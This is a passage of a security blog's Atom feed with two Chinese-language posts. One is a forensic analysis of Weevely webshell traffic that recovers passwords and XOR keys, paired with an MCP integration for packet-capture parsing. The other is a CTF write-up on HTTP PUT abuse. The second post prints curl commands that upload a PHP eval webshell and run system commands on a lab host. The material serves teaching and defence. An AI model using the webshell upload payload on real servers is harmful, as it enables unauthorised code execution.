<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>lee</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://leeei.site/</id>
  <link href="https://leeei.site/" rel="alternate"/>
  <link href="https://leeei.site/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, lee</rights>
  <subtitle>sudo make me a sandwich</subtitle>
  <title>Lee's SecLab</title>
  <updated>2026-09-03T18:03:14.000Z</updated>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="工具与自动化" scheme="https://leeei.site/categories/%E5%B7%A5%E5%85%B7%E4%B8%8E%E8%87%AA%E5%8A%A8%E5%8C%96/"/>
    <category term="自动化" scheme="https://leeei.site/tags/%E8%87%AA%E5%8A%A8%E5%8C%96/"/>
    <category term="流量分析" scheme="https://leeei.site/tags/%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90/"/>
    <category term="WebShell" scheme="https://leeei.site/tags/WebShell/"/>
    <category term="MCP" scheme="https://leeei.site/tags/MCP/"/>
    <content>
      <![CDATA[<p>主要分析两份 Weevely 通信流量，并尝试把科来网络分析系统与 Codex 连接起来，实现抓包文件的自动解析和报告生成。</p><p>使用的抓包文件为：</p><ul><li><code>weevely3_4.pcapng</code></li><li><code>weevely3_4_C.pcapng</code></li></ul><p>从当前抓包可以确认 <code>/hackable/uploads/wShell.php</code> 已经存在并被调用，但没有直接捕获其上传过程。</p><p>上传者的IP172.16.1.76——攻击端</p><p>被上传者的IP172.16.1.163——被攻击的服务器<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/da3d23db27b04c85a719cfa2e81a5072.png"                                     ></p><p>webshell文件上传后存储在这里<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e031662346e84d01a04cf2a2b136e461.png"                                     ></p><p>完整请求路径是：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/hackable/uploads/wShell.php</span><br></pre></td></tr></table></figure></div><p>Webshell上传后 攻击者又做什么？</p><p>看一下第一个http请求对应的数据流，可以看到攻击者通过POST请求像webshell发送了payload——HTTP请求体</p><p>这里需要注意：这条 POST 请求能够证明 WebShell 已经存在于服务器上，并且开始接收攻击命令，但不能单独证明 WebShell 的上传过程也包含在这段流量中。</p><p>然后双击查看第一条http通信的数据流，可以看到攻击者通过 POST 请求向 WebShell 发送了一段 Payload。</p><p>由于抓包文件名中带有 <code>weevely</code>，因此判断这可能是 Weevely 产生的加密通信。</p><p>Weevely 不会直接发送明文命令，而是使用连接密码生成 MD5，并将 MD5 的不同部分作为异或密钥和通信标记。</p><p>在请求体和响应体中，可以发现下面两个字符串反复出现</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">0339f2efd328</span><br><span class="line">6b3c9e505489</span><br></pre></td></tr></table></figure></div><p>对密码字典进行计算后，发现：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MD5(bmk) = 890ce1120339f2efd3286b3c9e505489</span><br></pre></td></tr></table></figure></div><p>刚好可以对应抓包中的两个固定标记，因此可以确定连接密码为：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bmk</span><br></pre></td></tr></table></figure></div><p>其中，MD5 的前8位：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">890ce112</span><br></pre></td></tr></table></figure></div><p>就是解密通信内容使用的异或密钥。</p><p>完整的对应关系为：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">异或密钥：890ce112</span><br><span class="line">开始标记：0339f2efd328</span><br><span class="line">结束标记：6b3c9e505489</span><br></pre></td></tr></table></figure></div><p>Weevely 流量的基本还原过程为：</p><p>解密第一轮通信后得到：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">try &#123;</span><br><span class="line">    echo(24331);</span><br><span class="line">&#125; catch(Exception $e) &#123;</span><br><span class="line">    // 返回执行错误</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>其中真正执行的操作是：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo(24331);</span><br></pre></td></tr></table></figure></div><p>外面的 <code>try...catch</code> 主要用于捕获错误，并把错误信息返回给 Weevely 客户端。</p><p>后续还原出的命令依次为：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">echo 40902</span><br><span class="line">whoami</span><br><span class="line">ls</span><br><span class="line">pwd</span><br></pre></td></tr></table></figure></div><p>对应结果如下：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">echo 40902：返回 40902，用于测试命令执行是否正常。</span><br><span class="line"></span><br><span class="line">whoami：返回 nginx，说明 Web 服务以 nginx 用户身份运行。</span><br><span class="line"></span><br><span class="line">ls：查看当前目录中的文件。</span><br><span class="line"></span><br><span class="line">pwd：返回 /usr/share/nginx/html/hackable/uploads，</span><br><span class="line">说明 WebShell 当前位于该目录。</span><br></pre></td></tr></table></figure></div><p>还是看http日志，发现攻击者已经上传了webshell——wShell3.php，HTTP 日志中发现向 <code>/vulnerabilities/upload/</code> 发起的 multipart&#x2F;form-data POST 请求，上传文件名为 <code>wShell3.php</code>，服务器响应显示上传成功。</p><p>点进去看源ip和目的ip，跟上一个一样<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/bbce648ce5384016a437848d86cdff93.png"                                     ></p><p>按照前面同样的方法分析，这一次的固定标记是：<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/358c280ae80d4889b7d4e84d40735359.png"                                     ><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/5ee3a42bb64c464f90e8baf1eaabd117.png"                                     ></p><p>按照案例一相同的方法，观察 HTTP 请求体和响应体，可以找到这一组固定标记：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">开始标记：b5c349531268</span><br><span class="line">结束标记：ae8484112a78</span><br></pre></td></tr></table></figure></div><p>通过字典计算，发现密码 <code>lyb</code> 的 MD5 为：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MD5(lyb) = 38d17dd2b5c349531268ae8484112a78</span><br></pre></td></tr></table></figure></div><p>它正好包含抓包中的两个固定标记，因此可以确定本次 Weevely 连接使用的密码为：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">lyb</span><br></pre></td></tr></table></figure></div><p>本次通信使用的异或密钥为 MD5 的前8位：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">38d17dd2</span><br></pre></td></tr></table></figure></div><p>完整对应关系为：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">异或密钥：38d17dd2</span><br><span class="line">开始标记：b5c349531268</span><br><span class="line">结束标记：ae8484112a78</span><br></pre></td></tr></table></figure></div><p>对每一轮通信进行解密后，得到以下操作：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo 89386</span><br></pre></td></tr></table></figure></div><p>返回 <code>89386</code>，用于测试 WebShell 能否正常执行和返回结果。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo 38658</span><br></pre></td></tr></table></figure></div><p>返回 <code>38658</code>，再次测试系统命令执行功能。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gethostname()</span><br></pre></td></tr></table></figure></div><p>获取服务器主机名，结果为：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">localhost.localdomain</span><br></pre></td></tr></table></figure></div><p>随后 Weevely 获取当前运行用户，结果为：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nginx</span><br></pre></td></tr></table></figure></div><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">getcwd()</span><br></pre></td></tr></table></figure></div><p>获取当前工作目录，结果为：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/usr/share/nginx/html/hackable/uploads</span><br></pre></td></tr></table></figure></div><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">whoami</span><br></pre></td></tr></table></figure></div><p>再次确认当前用户，返回：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nginx</span><br></pre></td></tr></table></figure></div><p>查看当前目录中的文件，返回结果中包括：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Decrypt.php</span><br><span class="line">antShell.php</span><br><span class="line">cShell.php</span><br><span class="line">dvwa_email.png</span><br><span class="line">shell.php</span><br><span class="line">shell3.php</span><br><span class="line">wShell.phar</span><br><span class="line">wShell.php</span><br><span class="line">wShell3.php</span><br><span class="line">weevelyDeCrypt.php</span><br></pre></td></tr></table></figure></div><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pwd</span><br></pre></td></tr></table></figure></div><p>确认当前目录为：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/usr/share/nginx/html/hackable/uploads</span><br></pre></td></tr></table></figure></div><p>之后，攻击者又尝试执行：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">ip a</span><br><span class="line">ip</span><br><span class="line">ipconfig</span><br><span class="line">ifconfig</span><br></pre></td></tr></table></figure></div><p>这些命令都用于查看服务器的网络配置，但响应中均提示命令不存在。</p><p>最后执行：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netstat</span><br></pre></td></tr></table></figure></div><p>攻击者可能想查看服务器当前的网络连接，不过抓包中没有捕获到对应的响应结果，因此无法确定该命令最终是否执行成功。</p><p>综合当前抓包能够还原的内容，攻击者获取了服务器主机名、运行用户、当前目录和目录文件。除此之外，暂未发现其获取更多敏感信息的证据。</p><p>正常情况下，使用科来完成抓包后，需要手动打开文件、查看协议统计、筛选 IP，再把结果交给 Codex 分析。</p><p>为了减少这些重复操作，我使用科来自带的 <code>cmdl.exe</code> 抓包解析工具，制作了一个本地 MCP Server。</p><p>连接以后，Codex 可以直接调用科来的解析能力，对 <code>.cap</code>、 <code>.pcap</code> 和 <code>.pcapng</code> 文件进行查询，例如：</p><ul><li>检查科来及解析组件是否正常。</li><li>查找指定目录中的抓包文件。</li><li>统计协议数量和通信端点。</li><li>按照 IP、端口或协议筛选数据包。</li><li>分析 DNS 查询和错误响应。</li><li>查看 ICMP 请求与响应。</li><li>分析主要网络会话。</li></ul><p>整个 MCP 只读取本地抓包，不会主动发送数据包，也不会修改科来的配置。</p><p>首先在 Codex 的配置文件中添加：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[mcp_servers.colasoft]</span><br><span class="line">command = &#x27;C:\Program Files\Python38\python.exe&#x27;</span><br><span class="line">args = [</span><br><span class="line">  &#x27;D:\工具\Colasoft-MCP\colasoft_mcp.py&#x27;,</span><br><span class="line">  &#x27;--capture-root&#x27;,</span><br><span class="line">  &#x27;C:\Users\pc\Desktop\流量分析作业&#x27;</span><br><span class="line">]</span><br></pre></td></tr></table></figure></div><p>其中：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">command</span><br></pre></td></tr></table></figure></div><p>用于指定运行 MCP Server 的 Python。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">colasoft_mcp.py</span><br></pre></td></tr></table></figure></div><p>是编写的 MCP Server 主程序。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">--capture-root</span><br></pre></td></tr></table></figure></div><p>用于指定 Codex 可以查找和分析抓包文件的目录。</p><p>新建 Codex 任务时，Codex 会按照该配置启动 Python 程序。双方通过标准输入和标准输出传递 MCP 消息。</p><p>当 Codex发起分析请求后，MCP Server 调用科来的 <code>cmdl.exe</code> 解析抓包，再把数据包结果整理成结构化内容返回给 Codex。</p><p>基本流程如下：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">用户提出分析要求</span><br><span class="line">        ↓</span><br><span class="line">Codex 调用 MCP 工具</span><br><span class="line">        ↓</span><br><span class="line">colasoft_mcp.py 接收请求</span><br><span class="line">        ↓</span><br><span class="line">调用科来 cmdl.exe 解析抓包</span><br><span class="line">        ↓</span><br><span class="line">MCP 整理解析结果</span><br><span class="line">        ↓</span><br><span class="line">Codex 输出分析结论</span><br></pre></td></tr></table></figure></div><p>除了 MCP Server，还运行了一个单独的目录监控程序：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">colasoft_watcher.py</span><br></pre></td></tr></table></figure></div><p>该程序会在后台监控抓包目录。</p><p>当科来保存新的抓包文件后，监控程序会等待文件写入完成，然后调用相同的解析功能，并在抓包旁边生成 HTML 报告。</p><p>例如：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kall-Packets.cap</span><br></pre></td></tr></table></figure></div><p>会自动生成：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kall-Packets.analysis.html</span><br></pre></td></tr></table></figure></div><p>因此，这套功能分为两部分：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">MCP Server：供 Codex 按需查询和分析抓包。</span><br><span class="line"></span><br><span class="line">目录监控程序：发现新抓包后自动生成 HTML 报告。</span><br></pre></td></tr></table></figure></div><p>为了测试自动分析是否正常，我使用 Kali 分别 Ping Windows 主机和 VMware 网关。</p><p>测试环境中的 IP 为：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Kali：192.168.145.10</span><br><span class="line">Windows 主机：192.168.145.1</span><br><span class="line">VMware 网关：192.168.145.2</span><br></pre></td></tr></table></figure></div><p>测试期间使用科来进行抓包。</p><p>首先从 Kali Ping Windows 主机：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ping 192.168.145.1</span><br></pre></td></tr></table></figure></div><p>然后 Ping VMware 网关：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ping 192.168.145.2</span><br></pre></td></tr></table></figure></div><p>停止捕获后，将数据包保存为：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kall-Packets.cap</span><br></pre></td></tr></table></figure></div><p>文件保存完成后，后台监控程序自动发现该抓包，并生成：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kall-Packets.analysis.html</span><br></pre></td></tr></table></figure></div><p>报告中的分析结果为：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">数据包总数：34</span><br><span class="line">ICMP 数据包：16</span><br><span class="line">ARP 数据包：18</span><br></pre></td></tr></table></figure></div><p>Kali 与 Windows 主机之间存在：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">4个 ICMP Echo Request</span><br><span class="line">4个 ICMP Echo Reply</span><br></pre></td></tr></table></figure></div><p>Kali 与 VMware 网关之间也存在：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">4个 ICMP Echo Request</span><br><span class="line">4个 ICMP Echo Reply</span><br></pre></td></tr></table></figure></div><p>每个请求都收到了对应响应，因此可以确定两次 Ping 均成功。</p><p>这也说明科来能够正常捕获数据包，后台程序能够自动发现并解析新抓包，生成的协议统计和 ICMP 通信结果也与实际测试过程一致。</p><p>通过两份 Weevely 抓包，可以还原攻击者与 WebShell 之间的通信过程。</p><p>案例一中，攻击者已经开始使用 <code>wShell.php</code>，并执行了 <code>echo</code>、 <code>whoami</code>、 <code>ls</code> 和 <code>pwd</code> 等命令。</p><p>案例二中，不仅捕获到了 <code>wShell3.php</code> 的上传过程，还还原出了获取主机名、用户名、当前目录以及尝试查询网络配置等操作。</p><p>在此基础上，将科来的 <code>cmdl.exe</code> 封装成 MCP Server，使 Codex 可以直接查询本地抓包；再配合目录监控程序，实现新抓包保存后自动生成 HTML 报告。</p><p>这套方式的作用不是代替科来抓包，而是把抓包完成后的查找、统计、筛选和报告生成过程自动化，减少每次手动打开抓包、截图和整理结果的重复操作。</p><p>分析结果：</p><p>总共捕获34个数据包，其中有16个 ICMP包和18个 ARP包。</p><p>Kali与Windows主机之间有4个请求和4个响应。</p><p>Kali与VMware网关之间也有4个请求和4个响应。</p><p>由此可以确定两次 Ping 均成功，功能一切正常~</p><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
    <id>https://leeei.site/2026/09/04/%E7%A7%91%E6%9D%A5%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90+%E7%BB%93%E5%90%88MCP%E8%87%AA%E5%8A%A8%E5%8C%96/</id>
    <link href="https://leeei.site/2026/09/04/%E7%A7%91%E6%9D%A5%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90+%E7%BB%93%E5%90%88MCP%E8%87%AA%E5%8A%A8%E5%8C%96/"/>
    <published>2026-09-03T18:03:14.000Z</published>
    <summary>通过两份 Weevely 通信流量还原 WebShell 操作，并将科来命令行解析能力封装为 MCP 服务，实现抓包检索、协议统计与报告自动生成。</summary>
    <title>科来流量分析与 MCP 自动化</title>
    <updated>2026-09-03T18:03:14.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="漏洞研究" scheme="https://leeei.site/categories/%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6/"/>
    <category term="Web安全" scheme="https://leeei.site/tags/Web%E5%AE%89%E5%85%A8/"/>
    <category term="HTTP" scheme="https://leeei.site/tags/HTTP/"/>
    <category term="方法枚举" scheme="https://leeei.site/tags/%E6%96%B9%E6%B3%95%E6%9E%9A%E4%B8%BE/"/>
    <category term="PUT" scheme="https://leeei.site/tags/PUT/"/>
    <content>
      <![CDATA[<blockquote><p><strong>文章状态：待复验</strong><br>本文由 Lee 的 CSDN 原创学习记录迁移并重新整理。以下操作仅限自建环境、CTF 与明确授权靶场，请勿用于未授权目标。</p></blockquote><h2 id="学习目标"><a href="#学习目标" class="headerlink" title="学习目标"></a>学习目标</h2><ul><li>理解 OPTIONS 响应与 Allow 头的意义</li><li>识别 PUT 风险成立所需的写入和执行条件</li><li>从服务端配置角度限制不必要的 HTTP 方法</li></ul><h2 id="实验说明"><a href="#实验说明" class="headerlink" title="实验说明"></a>实验说明</h2><ul><li>难度：中级</li><li>范围：本地或公开授权靶场</li><li>复验状态：正文已完成格式迁移，关键结论将在后续使用固定环境重新验证</li></ul><h2 id="原始实验记录"><a href="#原始实验记录" class="headerlink" title="原始实验记录"></a>原始实验记录</h2><p>通过发送 <code>OPTIONS</code> 请求来探测服务器支持的 HTTP 方法。</p><p>示例环境：<code>[NSSRound#1 Basic] basic_check</code></p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/163472901/01.png"                      alt="实验截图 1"                ><figcaption>实验截图 1</figcaption></figure></p><p>页面直接返回了当前 PHP 源码，常规请求都会被应用逻辑拦截并返回相同内容。</p><p>题目标签指向 HTTP 协议与中间件配置，因此先从服务器允许的请求方法入手。</p><h4 id="HTTP-方法枚举"><a href="#HTTP-方法枚举" class="headerlink" title="HTTP 方法枚举"></a>HTTP 方法枚举</h4><p>除常见的 GET（获取资源）和 POST（提交数据）外，本实验还关注 PUT（创建或覆盖资源）、DELETE（删除资源）与 OPTIONS（查询服务器支持的方法）。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">curl -X PUT http://xxx.com          # 发送 PUT 请求</span><br><span class="line">curl -X POST http://xxx.com         # 发送 POST 请求</span><br><span class="line">curl -X OPTIONS http://xxx.com      # 发送 OPTIONS 请求</span><br><span class="line">curl -X DELETE http://xxx.com       # 发送 DELETE 请求</span><br><span class="line"></span><br><span class="line">-X：告诉curl用哪种http方法</span><br><span class="line">-d：发送的请求里携带了什么数据</span><br></pre></td></tr></table></figure></div><p>使用 curl 发送 OPTIONS 请求后，服务器可能通过 <code>Allow</code> 响应头列出支持的方法：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Allow: GET, POST, OPTIONS, PUT  #列举服务器允许的http请求方式</span><br></pre></td></tr></table></figure></div><p>由于动态页面始终返回源码，本实验改用静态路径验证方法配置和文件写入行为。</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/163472901/02.png"                      alt="实验截图 2"                ><figcaption>实验截图 2</figcaption></figure></p><p>响应表明服务器开放了四种请求方法。</p><h4 id="PUT攻击"><a href="#PUT攻击" class="headerlink" title="PUT攻击"></a>PUT攻击</h4><p>继续验证 PUT 是否真正具备写入能力。服务器返回 <code>201 Created</code>，说明测试文件已经创建。</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/163472901/03.png"                      alt="实验截图 3"                ><figcaption>实验截图 3</figcaption></figure></p><p>写入成功</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/163472901/04.png"                      alt="实验截图 4"                ><figcaption>实验截图 4</figcaption></figure></p><p>在授权靶场中，随后验证文件写入能否进一步形成代码执行。以下目标域名已经脱敏：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"># 写入仅用于授权靶场验证的测试文件</span><br><span class="line">curl -X PUT http://authorized-lab.local/shell.php -d &quot;&lt;?php eval(\$_POST[1]);?&gt;&quot;</span><br><span class="line"># 在靶场内验证代码执行</span><br><span class="line">curl -X POST http://authorized-lab.local/shell.php -d &quot;1=system(&#x27;tac /f*&#x27;);&quot;</span><br><span class="line"></span><br><span class="line"># POST 请求体中传入参数 1</span><br><span class="line"># system 函数会把字符串作为系统命令执行并返回输出</span><br></pre></td></tr></table></figure></div><h2 id="防御与复盘"><a href="#防御与复盘" class="headerlink" title="防御与复盘"></a>防御与复盘</h2><ul><li>仅开放业务实际需要的 HTTP 方法，并在反向代理与应用层同时校验。</li><li>上传或写入目录与可执行目录分离，避免文件写入直接演变为代码执行。</li><li>记录异常 OPTIONS、PUT、DELETE 请求，并结合来源、路径和响应状态进行告警。</li></ul><h2 id="原文出处"><a href="#原文出处" class="headerlink" title="原文出处"></a>原文出处</h2><ul><li><a class="link"   href="https://blog.csdn.net/2403_88102829/article/details/163472901" >CSDN 原创记录<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
